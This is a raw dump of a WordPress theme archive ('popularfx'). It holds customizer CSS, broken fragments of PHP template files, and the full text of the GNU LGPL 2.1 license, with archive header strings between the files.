padding-right: 5px; } .popularfx-customize-description { width:100%; float: left; } /* Alpha Color Picker */ .customize-control-alpha-color .wp-picker-container .iris-picker { border-bottom:none; } .customize-control-alpha-color .wp-picker-container { max-width: 257px; } .customize-control-alpha-color .wp-picker-open + .wp-picker-input-wrap { width: 100%; } .customize-control-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker.alpha-color-control { float: left; width: 195px; } .customize-control-alpha-color .wp-picker-input-wrap .button { margin-left: 0; float: right; } .wp-picker-container .wp-picker-open ~ .wp-picker-holder .alpha-color-picker-container { display: block; } .alpha-color-picker-container { border: 1px solid #dfdfdf; border-top: none; display: none; background-color: #fff; padding: 0 11px 10px; position: relative; } .alpha-color-picker-container .ui-widget-content, .alpha-color-picker-container .ui-widget-header, .alpha-color-picker-wrap .ui-state-focus { background: transparent; border: none; } .alpha-color-picker-wrap a.iris-square-value:focus { -webkit-box-shadow: none; box-shadow: none; } .alpha-color-picker-container .ui-slider { position: relative; z-index: 1; height: 24px; text-align: center; margin: 0 auto; width: 88%; width: calc( 100% - 28px ); } .alpha-color-picker-container .ui-slider-handle, .alpha-color-picker-container .ui-widget-content .ui-state-default { color: #777; background-color: #fff; text-shadow: 0 1px 0 #fff; text-decoration: none; position: absolute; z-index: 2; box-shadow: 0 1px 2px rgba(0,0,0,0.2); border: 1px solid #aaa; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; margin-top: -2px; top: 0; height: 26px; width: 26px; cursor: ew-resize; font-size: 0; padding: 0; line-height: 27px; margin-left: -14px; } .alpha-color-picker-container .ui-slider-handle.show-opacity { font-size: 12px; } .alpha-color-picker-container .click-zone { width: 14px; height: 24px; display: block; position: absolute; left: 10px; } .alpha-color-picker-container .max-click-zone { right: 10px; left: auto; } .alpha-color-picker-container .transparency { height: 24px; width: 100%; background-color: #fff; background-image: url(./images/color-picker-transparency-grid.png); box-shadow: 0 0 5px rgba(0,0,0,0.4) inset; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; padding: 0; margin-top: -24px; } @media only screen and (max-width: 782px) { .customize-control-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker.alpha-color-control { width: 184px; } } @media only screen and (max-width: 640px) { .customize-control-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker.alpha-color-control { width: 172px; height: 33px; } } /* Alpha Color Picker & Standard Color Picker */ .customize-control-color .wp-color-result, .customize-control-alpha-color .wp-color-result { box-shadow: none; } .customize-control-color .wp-color-result .wp-color-result-text, .customize-control-alpha-color .wp-color-result .wp-color-result-text { border-left: none; } .wp-picker-holder .iris-picker .iris-palette { box-shadow: none; } .wp-picker-container .iris-picker, .wp-picker-container .alpha-color-picker-container { border-radius: 0; border: none; } .wp-picker-container .alpha-color-picker-container { width: 233px; } /* WPColorPicker Alpha Color Picker */ .customize-control-wpcolorpicker-alpha-color .wp-color-result { box-shadow: none; } .customize-control-wpcolorpicker-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker { float: left; width: 195px; } .customize-control-wpcolorpicker-alpha-color .wp-color-result .wp-color-result-text { border-left: none; } /* Custom checkbox style start */ #customize-control-pfx_enable_scrolltop input[type="checkbox"]{ float: right; font-size: 12px; margin: 0px; -webkit-appearance: none; -moz-appearance: none; appearance: none; width: 3.5em; height: 1.7em; background: #ddd; border-radius: 3em; position: relative; cursor: pointer; outline: none; -webkit-transition: all .2s ease-in-out; transition: all .2s ease-in-out; } #customize-control-pfx_enable_scrolltop .customize-inside-control-row{ margin-left: 0px !important; text-transform: capitalize; } #customize-control-pfx_enable_scrolltop input[type="checkbox"]:checked{ background-color: #1A9CDB; border-color: #1A9CDB; } #customize-control-pfx_enable_scrolltop input[type="checkbox"]:after{ position: absolute; content: ""; width: 1.5em; height: 1.5em; border-radius: 50%; background: #fff; -webkit-box-shadow: 0 0 .25em rgba(0,0,0,.3); box-shadow: 0 0 .25em rgba(0,0,0,.3); -webkit-transform: scale(.7); transform: scale(.7); left: 0; -webkit-transition: all .2s ease-in-out; transition: all .2s ease-in-out; } #customize-control-pfx_enable_scrolltop input[type="checkbox"]:checked:before{ display: none; } #customize-control-pfx_enable_scrolltop input[type="checkbox"]:checked:after{ left: calc(100% - 1.5em); } /* Custom checkbox style end*/ page.php000064400000001451152507063360006201 0ustar00
    template-parts/content-none.php000064400000002366152507063360012644 0ustar00
    ' . wp_kses( /* translators: 1: link to WP admin new post page. */ __( 'Ready to publish your first post? Get started here.', 'popularfx' ), array( 'a' => array( 'href' => array(), ), ) ) . '

    ', esc_url( admin_url( 'post-new.php' ) ) ); elseif ( is_search() ) : ?>

    template-parts/content-page.php000064400000002312152507063360012610 0ustar00
    >
    ', '' ); ?>
    '', ) ); ?>
    %s', 'popularfx' ), array( 'span' => array( 'class' => array(), ), ) ), wp_kses_post( get_the_title() ) ), '', '' ); ?>
    template-parts/content.php000064400000002666152507063360011712 0ustar00
    >
    ', '' ); else : the_title( '

    ', '

    ' ); endif; if ( 'post' === get_post_type() ) : ?>
    "%s"', 'popularfx' ), array( 'span' => array( 'class' => array(), ), ) ), wp_kses_post( get_the_title() ) ) ); wp_link_pages( array( 'before' => '', ) ); ?>
    LICENSE000064400000063642152507063360005573 0ustar00 GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. , 1 April 1990 Ty Coon, President of Vice That's all there is to it! search.php000064400000002101152507063360006523 0ustar00